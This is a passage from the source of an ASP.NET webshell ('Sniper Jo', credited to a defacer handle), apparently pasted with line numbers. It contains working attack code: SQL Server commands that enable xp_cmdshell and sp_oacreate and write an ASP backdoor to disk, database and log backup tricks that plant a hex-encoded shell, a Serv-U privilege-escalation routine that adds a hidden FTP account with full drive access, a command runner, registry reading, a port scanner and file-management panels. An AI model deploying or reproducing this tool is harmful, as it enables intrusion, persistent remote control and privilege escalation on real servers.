  890. Bin_Databind();
  891. }
  892. public void Item_Command(object sender, DataGridCommandEventArgs e)
  893. {
  894. if (e.CommandName == "Cancel")
  895. {
  896. Bin_DataGrid.EditItemIndex = -1;
  897. Bin_Databind();
  898. }
  899. }
  900.  
  901. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  902. {
  903. try
  904. {
  905.  
  906. Bin_Scroll.Visible = true;
  907. Bin_DataGrid.Visible = true;
  908. Bin_DataGrid.AllowPaging = true;
  909. Bin_Accbind();
  910. if (Bin_SQLRadioButton.Checked)
  911. {
  912. Bin_DBmenuPanel.Visible = true;
  913. }
  914. string sqlstr = Bin_DBstrTextBox.Text;
  915. sqlstr = sqlstr.TrimStart().ToLower();
  916. if (sqlstr.Substring(0, 6) == "select")
  917. {
  918. DataTable databind = Bin_DataTable(sqlstr);
  919. Bin_DataGrid.DataSource = databind;
  920. Bin_DataGrid.DataBind();
  921. }
  922. else
  923. {
  924. Bin_ExecSql(sqlstr);
  925. Bin_Databind();
  926. }
  927. }
  928. catch(Exception error)
  929. {
  930. Bin_Error(error.Message);
  931. }
  932. }
  933.  
  934. protected void Bin_BDButton_Click(object sender, EventArgs e)
  935. {
  936. Bin_DBinfoLabel.Visible = false;
  937. Bin_Accbind();
  938. Bin_DBmenuPanel.Visible = true;
  939. Bin_DataGrid.Visible = false;
  940. Bin_DataGrid.AllowPaging = true;
  941. Bin_Scroll.Visible = false;
  942. Bin_DBstrTextBox.Text = "";
  943. Bin_SAexecButton.Visible = false;
  944. Bin_ResLabel.Visible = false;
  945. Bin_dirPanel.Visible = false;
  946.  
  947. }
  948.  
  949. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  950. {
  951. Bin_DBinfoLabel.Visible = false;
  952. Bin_DataGrid.Visible = false;
  953. Bin_Scroll.Visible = false;
  954. Bin_SAexecButton.Visible = true;
  955. Bin_Change();
  956. Bin_ExecButton.Visible = false;
  957. Bin_ResLabel.Visible = false;
  958. Session["Bin_Option"] = null;
  959. Bin_dirPanel.Visible = false;
  960.  
  961. }
  962. public void Bin_Change()
  963. {
  964. Bin_ExecButton.Visible = false;
  965. string select = "<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))" + "%" + ">''' \">SP_makewebtask make file";
  966. if (Session["Bin_Option"] != null)
  967. {
  968. select += "<option SELECTED>" + Session["Bin_Option"] + "</option>";
  969. }
  970. select += "</select>";
  971. Bin_AccinfoLabel.Text = select;
  972. Bin_DataGrid.Visible = false;
  973. Bin_Scroll.Visible = false;
  974. }
  975.  
  976. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  977. {
  978. try
  979. {
  980. Bin_Change();
  981. Bin_DBinfoLabel.Visible = false;
  982. Bin_ExecButton.Visible = false;
  983. Bin_Scroll.Visible = false;
  984. Bin_DataGrid.Visible = false;
  985. Bin_DBmenuPanel.Visible = true;
  986. string sqlstr = Bin_DBstrTextBox.Text;
  987. DataTable databind = Bin_DataTable(sqlstr);
  988. string res = "";
  989. foreach (DataRow dr in databind.Rows)
  990. {
  991. for (int i = 0; i < databind.Columns.Count; i++)
  992. {
  993. res += dr[i] + "\r";
  994. }
  995. }
  996. Bin_ResLabel.Text = "<hr><div id=\"nei\"><PRE>" + res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;") + "</PRE></div>";
  997.  
  998.  
  999. }
  1000. catch (Exception error)
  1001. {
  1002. Bin_Error(error.Message);
  1003. }
  1004.  
  1005. }
  1006.  
  1007. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1008. {
  1009. Bin_dirPanel.Visible = true;
  1010. Bin_AccPanel.Visible = false;
  1011. Bin_DBinfoLabel.Visible = false;
  1012. Bin_DataGrid.Visible = false;
  1013. Bin_Scroll.Visible = false;
  1014. }
  1015.  
  1016. protected void Bin_listButton_Click(object sender, EventArgs e)
  1017. {
  1018. Bin_dirPanel.Visible = true;
  1019. Bin_AccPanel.Visible = false;
  1020. Bin_DBinfoLabel.Visible = false;
  1021. Bin_SqlDir();
  1022. }
  1023. public void Bin_SqlDir()
  1024. {
  1025. try
  1026. {
  1027. Bin_DataGrid.Visible = true;
  1028. Bin_Scroll.Visible = true;
  1029. Bin_DataGrid.AllowPaging = false;
  1030. string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1031. Bin_ExecSql(exesql);
  1032. DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1033. Bin_DataGrid.DataSource = sql_dir;
  1034. Bin_DataGrid.DataBind();
  1035. }
  1036. catch (Exception e)
  1037. {
  1038. Bin_Error(e.Message);
  1039. }
  1040. }
  1041.  
  1042. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1043. {
  1044. Bin_CmdPanel.Visible = false;
  1045. Bin_SQLPanel.Visible = false;
  1046. Bin_SuPanel.Visible = true;
  1047. Bin_IISPanel.Visible = false;
  1048. Bin_SuresLabel.Text = "";
  1049. Bin_LoginPanel.Visible = false;
  1050. Bin_RegPanel.Visible = false;
  1051. Bin_PortPanel.Visible = false;
  1052. }
  1053.  
  1054. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1055. {
  1056. Bin_DBinfoLabel.Visible = false;
  1057. Bin_AccPanel.Visible = false;
  1058. Bin_BakDB();
  1059. }
  1060. public void Bin_BakDB()
  1061. {
  1062. string path = Bin_DirTextBox.Text.Trim();
  1063. if (path.Substring(path.Length - 1, 1) == @"\")
  1064. {
  1065. path = path + "bin.asp";
  1066. }
  1067. else
  1068. {
  1069. path = path + @"\bin.asp";
  1070. }
  1071. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1072. Bin_ExecSql(sql);
  1073. Bin_SqlDir();
  1074. }
  1075. public void Bin_BakLog()
  1076. {
  1077. string path = Bin_DirTextBox.Text.Trim();
  1078. if (path.Substring(path.Length - 1, 1) == @"\")
  1079. {
  1080. path = path + "bin.asp";
  1081. }
  1082. else
  1083. {
  1084. path = path + @"\bin.asp";
  1085. }
  1086. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1087. Bin_ExecSql(sql);
  1088. Bin_SqlDir();
  1089. }
  1090.  
  1091. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1092. {
  1093. Bin_DBinfoLabel.Visible = false;
  1094. Bin_AccPanel.Visible = false;
  1095. Bin_BakLog();
  1096. }
  1097.  
  1098. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1099. {
  1100. string Result = "";
  1101. string user = Bin_SunameTextBox.Text;
  1102. string pass = Bin_SupassTextBox.Text;
  1103. int port = Int32.Parse(Bin_SuportTextBox.Text);
  1104. string cmd = Bin_SucmdTextBox.Text;
  1105. string loginuser = "user " + user + "\r\n";
  1106. string loginpass = "pass " + pass + "\r\n";
  1107. string site = "SITE MAINTENANCE\r\n";
  1108. string deldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1109. string setdomain = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1110. string newdomain = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1111. string quite = "QUIT\r\n";
  1112. try
  1113. {
  1114. TcpClient tcp = new TcpClient("127.0.0.1", port);
  1115. tcp.ReceiveBufferSize = 1024;
  1116. NetworkStream NS = tcp.GetStream();
  1117. Result = Rev(NS);
  1118. Result += Send(NS, loginuser);
  1119. Result += Rev(NS);
  1120. Result += Send(NS, loginpass);
  1121. Result += Rev(NS);
  1122. Result += Send(NS, site);
  1123. Result += Rev(NS);
  1124. Result += Send(NS, deldomain);
  1125. Result += Rev(NS);
  1126. Result += Send(NS, setdomain);
  1127. Result += Rev(NS);
  1128. Result += Send(NS, newdomain);
  1129. Result += Rev(NS);
  1130. TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1131. NetworkStream NS1 = tcp1.GetStream();
  1132. Result += Rev(NS1);
  1133. Result += Send(NS1, "user bin\r\n");
  1134. Result += Rev(NS1);
  1135. Result += Send(NS1, "pass binftp\r\n");
  1136. Result += Rev(NS1);
  1137. Result += Send(NS1, "site exec " + cmd + "\r\n");
  1138. Result += Rev(NS1);
  1139. tcp1.Close();
  1140. Result += Send(NS, deldomain);
  1141. Result += Rev(NS);
  1142. Result += Send(NS, quite);
  1143. Result += Rev(NS);
  1144. tcp.Close();
  1145. }
  1146. catch (Exception error)
  1147. {
  1148. Bin_Error(error.Message);
  1149. }
  1150. Bin_SuresLabel.Text = "<div id=\"su\"><pre>" + Result + "</pre></div>";
  1151.  
  1152.  
  1153. }
  1154. protected string Rev(NetworkStream instream)
  1155. {
  1156. string Restr = "";
  1157. if (instream.CanRead)
  1158. {
  1159. byte[] buffer = new byte[1024];
  1160. instream.Read(buffer, 0, buffer.Length);
  1161. Restr = Encoding.ASCII.GetString(buffer);
  1162. }
  1163. return "<font color = red>" + Restr + "</font><br>";
  1164.  
  1165. }
  1166. protected string Send(NetworkStream instream,string Sendstr)
  1167. {
  1168. if (instream.CanWrite)
  1169. {
  1170. byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1171. instream.Write(buffer, 0, buffer.Length);
  1172. }
  1173. return "<font color = blue>" + Sendstr + "</font><br>";
  1174. }
  1175. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1176. {
  1177. Bin_LoginPanel.Visible = false;
  1178. Bin_MainPanel.Visible = false;
  1179. Bin_MenuPanel.Visible = true;
  1180. Bin_FilePanel.Visible = false;
  1181. Bin_CmdPanel.Visible = false;
  1182. Bin_SQLPanel.Visible = false;
  1183. Bin_SuPanel.Visible = false;
  1184. Bin_IISPanel.Visible = true;
  1185. Bin_RegPanel.Visible = false;
  1186. Bin_PortPanel.Visible = false;
  1187. Bin_iisLabel.Text = Bin_iisinfo();
  1188.  
  1189. }
  1190.  
  1191. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1192. {
  1193. Bin_MenuPanel.Visible = true;
  1194. Bin_LoginPanel.Visible = false;
  1195. Bin_CmdPanel.Visible = false;
  1196. Bin_SQLPanel.Visible = false;
  1197. Bin_SuPanel.Visible = false;
  1198. Bin_IISPanel.Visible = false;
  1199. Bin_RegPanel.Visible = false;
  1200. Bin_PortPanel.Visible = true;
  1201. Bin_ScanresLabel.Text = "";
  1202. }
  1203.  
  1204. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1205. {
  1206. Bin_MenuPanel.Visible = true;
  1207. Bin_LoginPanel.Visible = false;
  1208. Bin_CmdPanel.Visible = false;
  1209. Bin_SQLPanel.Visible = false;
  1210. Bin_SuPanel.Visible = false;
  1211. Bin_IISPanel.Visible = false;
  1212. Bin_RegPanel.Visible = true;
  1213. Bin_PortPanel.Visible = false;
  1214. Bin_RegresLabel.Text = "";
  1215.  
  1216. }
  1217.  
  1218. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1219. {
  1220. try
  1221. {
  1222. string regkey = Bin_KeyTextBox.Text;
  1223. string subkey = regkey.Substring(regkey.IndexOf("\\") + 1, regkey.Length - regkey.IndexOf("\\") - 1);
  1224. RegistryKey rk = null;
  1225. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_LOCAL_MACHINE")
  1226. {
  1227. rk = Registry.LocalMachine.OpenSubKey(subkey);
  1228. }
  1229. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CLASSES_ROOT")
  1230. {
  1231. rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1232. }
  1233. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_USER")
  1234. {
  1235. rk = Registry.CurrentUser.OpenSubKey(subkey);
  1236. }
  1237. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_USERS")
  1238. {
  1239. rk = Registry.Users.OpenSubKey(subkey);
  1240. }
  1241. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_CONFIG")
  1242. {
  1243. rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1244. }
  1245.  
  1246. Bin_RegresLabel.Text = "<br>Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1247. }
  1248. catch (Exception error)
  1249. {
  1250. Bin_Error(error.Message);
  1251. }
  1252. }
  1253.  
  1254. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1255. {
  1256. try
  1257. {
  1258. string res = "";
  1259. string[] port = Bin_PortsTextBox.Text.Split(',');
  1260. for (int i = 0; i < port.Length; i++)
  1261. {
  1262. res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "<br>";
  1263. }
  1264. Bin_ScanresLabel.Text = "<hr>" + res;
  1265. }
  1266. catch (Exception error)
  1267. {
  1268. Bin_Error(error.Message);
  1269. }
  1270. }
  1271. protected string Bin_Scan(string ip, int port)
  1272. {
  1273.  
  1274. string scanres = "";
  1275. TcpClient tcp = new TcpClient();
  1276. tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1277. try
  1278. {
  1279. tcp.Connect(ip, port);
  1280. tcp.Close();
  1281. scanres = ip + " : " + port + " ................................. <font color=green><b>Open</b></font>";
  1282. }
  1283. catch (SocketException e)
  1284. {
  1285. scanres = ip + " : " + port + " ................................. <font color=red><b>Close</b></font>";
  1286. }
  1287. return scanres;
  1288. }
  1289. </script>
  1290. <html xmlns="http://www.w3.org/1999/xhtml" >
  1291. <head runat="server">
  1292. <title>Sniper Jo</title>
  1293. <style>
  1294. body{
  1295. background-attachment: fixed;
  1296. background-image: url(https://a.top4top.net/p_536nbk2f1.jpg);
  1297. background-color:#0A0A0A;color:#e1e1e1;
  1298. opacity: 0.7;
  1299. }
  1300. *{
  1301. font-size:11px;
  1302. font-family:Tahoma,Verdana,Arial;
  1303. }
  1304. #menu{
  1305. background-color:transparan;
  1306. margin:8px 2px 4px 2px;
  1307. }
  1308. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#FFFFFF; }
  1309. table.info{ color:#fff; background-color:#000000; }
  1310. span,a{ color: #66FF00 !important; }
  1311. span{ font-weight: bolder; }
  1312. h1{ border-left:5px solid #66FF00;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px;color:red; }
  1313. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  1314. a{ text-decoration:none; }
  1315. a:hover{ text-decoration:underline; }
  1316. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  1317. .bigarea{ width:100%;height:250px; }
  1318. input,textarea,select{ margin:0;color:#fff;background-color:#000000;border:1px solid #66FF00; font: 9pt Monospace,'Courier New'; }
  1319. form{ margin:0px; }
  1320. #toolsTbl{ text-align:center; }
  1321. .toolsInp{ width: 300px }
  1322. .main th{text-align:left;background-color:#5e5e5e;}
  1323. .main tr:hover{background-color:#000000;}
  1324. .l1{background-color:#444}
  1325. .l2{background-color:#333}
  1326. pre{font-family:Courier,Monospace;}
  1327. </style>
  1328. <script type="text/javascript" language="javascript" >
  1329. function Command(cmd, str)
  1330. {
  1331. var strTmp = str;
  1332. var frm = document.forms[0];
  1333. if(cmd == 'del')
  1334. {
  1335. if(confirm('Del It ?'))
  1336. {
  1337. frm.todo.value = str;
  1338. frm.goaction.value = cmd;
  1339. frm.submit();
  1340. }
  1341. else return;
  1342. }
  1343. if (cmd == 'change')
  1344. {
  1345. frm.todo.value = str;
  1346. frm.goaction.value = cmd;
  1347. frm.submit();
  1348. }
  1349. if (cmd == 'down')
  1350. {
  1351. frm.todo.value = str;
  1352. frm.goaction.value = cmd;
  1353. frm.submit();
  1354. }
  1355. if (cmd == 'showatt')
  1356. {
  1357. frm.todo.value = str;
  1358. frm.goaction.value = cmd;
  1359. frm.submit();
  1360. }
  1361. if (cmd == 'edit')
  1362. {
  1363. frm.todo.value = str;
  1364. frm.goaction.value = cmd;
  1365. frm.submit();
  1366. }
  1367. if (cmd == 'deldir')
  1368. {
  1369. if(confirm('Del It ?'))
  1370. {
  1371. frm.todo.value = str;
  1372. frm.goaction.value = cmd;
  1373. frm.submit();
  1374. }
  1375. else return;
  1376. }
  1377. if(cmd == 'rename' )
  1378. {
  1379. frm.goaction.value = cmd;
  1380. frm.todo.value = str + ',';
  1381. str = prompt('Please input new filename:', strTmp);
  1382. if(str && (strTmp != str))
  1383. {
  1384. frm.todo.value += str;
  1385. frm.submit();
  1386. }
  1387. else return;
  1388. }
  1389. if(cmd == 'renamedir' )
  1390. {
  1391. frm.goaction.value = cmd;
  1392. frm.todo.value = str + ',';
  1393. str = prompt('Please input new foldername:', strTmp);
  1394. if(str && (strTmp != str))
  1395. {
  1396. frm.todo.value += str;
  1397. frm.submit();
  1398. }
  1399. else return;
  1400. }
  1401. if (cmd == 'postdata')
  1402. {
  1403. frm.todo.value = str.value;
  1404. frm.goaction.value = cmd;
  1405. frm.submit();
  1406. }
  1407. if (cmd == 'changedata')
  1408. {
  1409. frm.todo.value = str.value;
  1410. frm.intext.value = str.options[str.selectedIndex].innerText
  1411. frm.goaction.value = cmd;
  1412. frm.submit();
  1413. }
  1414. }
  1415.  
  1416. </script>
  1417. </head>
  1418. <body>
  1419. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1420. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1421. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1422. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1423. Copyright (C) 2015 Shin0bi H4x0r -> <a href="http://www.zone-h.org/archive/notifier=Shin0bi H4x0r" target="_blank">WwW.Fb.Me/Trafalgar.py</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1424. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1425. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1426. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1427. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1428. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1429. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1430. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1431. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1432. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1433. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1434. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright (C) 2015 Shin0bi H4x0r -> <a href="http://www.zone-h.org/" target="_blank">WwW.Shin0biH4x0r/com</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1435. <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1436. <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1437. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1438. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1439. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1440. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1441. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1442. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1443. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1444. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1445. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1446. <br />
  1447. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1448. &nbsp;
  1449. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1450. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1451. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1452. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1453. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1454. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1455. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1456. FileName :
  1457. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1458. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1459. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1460. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1461. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1462. <br />
  1463. CreationTime :
  1464. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1465. LastWriteTime :
  1466. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1467. LastAccessTime :
  1468. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1469. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1470. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1471. <hr />
  1472. </asp:Panel></div>
  1473. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1474. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1475. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1476. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1477. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1478. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1479. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1480. Argument :
  1481. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1482. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1483. <div style="text-align: left">
  1484. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1485. <hr /></asp:Panel>
  1486. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1487. <hr />
  1488. ConnString :
  1489. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1490. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1491. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1492. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1493. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1494. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1495. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1496. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1497. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1498. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1499. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1500. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1501. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1502. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1503. <div style="text-align:left">
  1504. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1505. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1506. Path :
  1507. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1508. <br />
  1509. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1510. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1511. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1512. <br /><br />
  1513. <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
  1514. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1515. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
